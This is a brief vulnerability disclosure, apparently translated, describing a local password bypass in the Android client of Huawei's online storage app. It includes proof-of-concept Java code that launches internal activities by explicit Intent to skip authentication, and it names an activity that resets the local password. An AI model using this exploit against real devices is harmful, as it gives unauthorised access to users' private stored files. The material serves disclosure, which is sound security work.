Local password bypass on the android client of Huawei online storage
1. If it is root, you can directly view the private file and create a simple encryption scheme.
2. If it is not root, start other activities directly to bypass authentication. Local authentication is only a simple topActivity.
Poc:
Public void activityStart (View v) {ComponentName componetName = new ComponentName ("com. huawei. dbank. v7 "," com. huawei. dbank. v7.ui. newbietask. newbieTaskActivity "); try {Intent intent = new Intent (); intent. setComponent (componetName); startActivity (intent);} catch (Exception e) {Toast. makeText (getApplicationContext (), "Not found", 0 ). show ();}}
3. Start the activity component com. huawei. dbank. v7.ui. newbietask. NewbieTaskActivity and return it to enter the main interface.
4. Start activity com. huawei. dbank. v7.ui. setting. LocalPassWordInitActivity to set the local password.